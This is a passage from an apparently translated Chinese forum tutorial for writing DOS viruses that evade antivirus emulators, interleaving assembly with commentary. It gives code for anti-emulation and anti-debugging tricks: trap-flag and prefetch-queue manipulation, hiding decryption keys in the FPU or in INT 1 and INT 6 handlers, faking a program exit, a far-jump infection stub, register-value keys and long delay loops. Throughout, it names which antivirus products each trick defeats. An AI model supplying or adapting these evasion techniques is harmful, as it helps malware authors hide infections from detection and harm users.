pushf ;flags on the stack
pop ax ;flags from stack into AX
or ax, 100000000b ;set trap flag
push ax ;put the modified flags in AX back...
popf ;into the flag register via the stack
mov word ptr [offset prefetch], 06C7h ;modify the following instruction
prefetch: ;here gets int1 called => clears PIQ
int 20h ;This is never executed
dw offset decrypt_key ;where we want to write our key to
dw key ;the actual decryption key
pushf ;clear the trap flag again with
pop ax ;the same method as above.
xor ax, 100000000b ;will also fool some debuggers
push ax
popf
mov word ptr [offset prefetch], 20CDh ;restore the int20h (next generations)
这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得,这并不能运行于现在的处理器上)。
; AFTER ENCRYPTION:
mov decrypt_key, key ;save key into integer variable
fild decrypt_key ;load integer key into FPU and store
fstp decrypt_float_key ;it back as floating point number
mov decrypt_key, 0 ;destroy the key (very important!)
; BEFORE DECRYPTION:
fld decrypt_float_key ;load the key as floating point number
正向我前面所说的,这一手段非常容易且极端有效,但如果你使用它,也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时,他将崩溃。
mov ax, 3501h ;get int vector 1, so we can restore it later
int 21h ;not really necessary, but a little bit saver
mov int1_segm, es
mov int1_offs, bx
mov ax, 2501h ;set int vector 1 to our own routine
mov dx, offset int1_handler ;we assume DS=CS
int 21h
db 0F1h ;this will call our int 1 handler, which
mov decrypt_key, ax ;returns the decryption key
mov ax, 2501h ;restore the original int 1 handler
mov dx, cs:int1_offs
mov ds, cs:int1_segm
int 21h
[...]
int1_handler:
mov ax, key
iret
另外一件好笑的事是,我们可以伪造程序退出,可以这样做:
[...]
db 0F1h ;calls our int 1 handler (see above);
mov ax, 4c00h ;quit program
int 21h ;but... this code is never reached... ;-)
[...]
int1_handler:
mov bx, sp ;modify return address, so the quit command
add word ptr ss:[bx], 5 ;is never executed.
iret
这是非常有效的一种手段,在我的测试中仅F-PORT v2.27 /PARANOID 能检测出了它,尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD 处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- (如果你想看一下的病毒情况,你可以查找我写 PR.H! virus)作者: cwydot 时间: 2008-5-8 11:27 4 通过INT 6 的手段:
cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于INT 1 中断的手段。我们设置一个INT 6h中断的handler,然后执行一个条我们故意使用的无效指令,同时返回解密密钥。如果我们不想陷入无穷尽的循环当中,就要修改返回时的偏移。
mov ax, 3506h ;get int vector 6, so we can restore it later
int 21h ;not really necessary, but a little bit saver
mov int6_segm, es
mov int6_offs, bx
mov ax, 2506h ;set int vector 6 to our own routine
mov dx, offset int6_handler
int 21h
dw 0FFFFh ;an invalid opcode, will call our int 6
mov decrypt_key, ax ;handler, which returns the decryption key
mov ax, 2506h ;restore the original int 6 handler
mov dx, cs:int6_offs
mov ds, cs:int6_segm
int 21h
[...]
int6_handler:
mov ax, key
mov bx, sp
add word ptr ss:[bx], 2 ;modify return address - very important!
;2 is the size of our invalid opcode.
iret
请记住,这一方式并不能工作在window系统下的dos窗口程序中,因为window会率先截获一个无效的opcode,并给出错误消息(thanks to Z0MBiE for that tip)。所以如果你想使你的DOS virus兼容window,那么不要用此方法,尽管破坏引导区的virus实在是很美妙的。
mov ax, cs ;Relocate far Jump
add [offset com_seg], ax
JMP SHORT $+2 ;Clear prefetch queue
db 0EAh ;OP-Code far Jump
dw offset start ;Offset
com_seg dw 0 ;Segment (length of com file in paragraphs)
;pad filesize to even paragraph!
这段代码可以非常稳定地运行,我很惊讶,这种感染方式可以阻止AVP和Tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧,再一次提醒您,可以查找我写 PR.H!- virus。
6 初始化寄存器方式:
大多是DOS版本的系统,在程序开始时的寄存器值是下面这样的:
AX=BX=0000h (if the first/second command line parameter contain a illegal
drive letter, AL/AH are set to 0FFh)
CX=00FFh
DX=DS=ES=PSP segment address
SI=IP
DI=SP
BP=91Ch/912h depending on DOS/Windows version.
如果你知道这些,你就可以利用这些值来加密你的virus了---- 一些AVs并不能正确的仿真这些值,因为这些大部分是undocumented。例如,我是用91h(BP shr 4)来加密/解密我的病毒体,可以非常好的欺骗TBAV, DrWeb, f-prot v2.27 and Ikarus这些AVs,但是不能很好的对抗AVP和NOD。
这是个很古老的手段了。它不同于这篇文章中介绍的其它技术,但当我测试时才惊讶的发现,它非常的棒,可以骗过Thunderbyte, Dr. Web and Ikarus。这一想法的出发点是,那些启发式的扫描器,仅仿真了最开始处的一些指令,然后停止,以此加快扫描速度。因此,我们可以在病毒体开始处设置一个很长的循环,下面是一经典的模式:
mov cx, 0FFFFh
loop_head:
jmp short over_it
mov ax, 4C00h ;actually this isn't needet, but it's the
int 21h ;"classic" implementation of this trick.
over_it:
loop loop_head
你还可以使用不同类型的循环,或者像Opic's Odessa-B virus那样的手法,非常长的一个解密循环。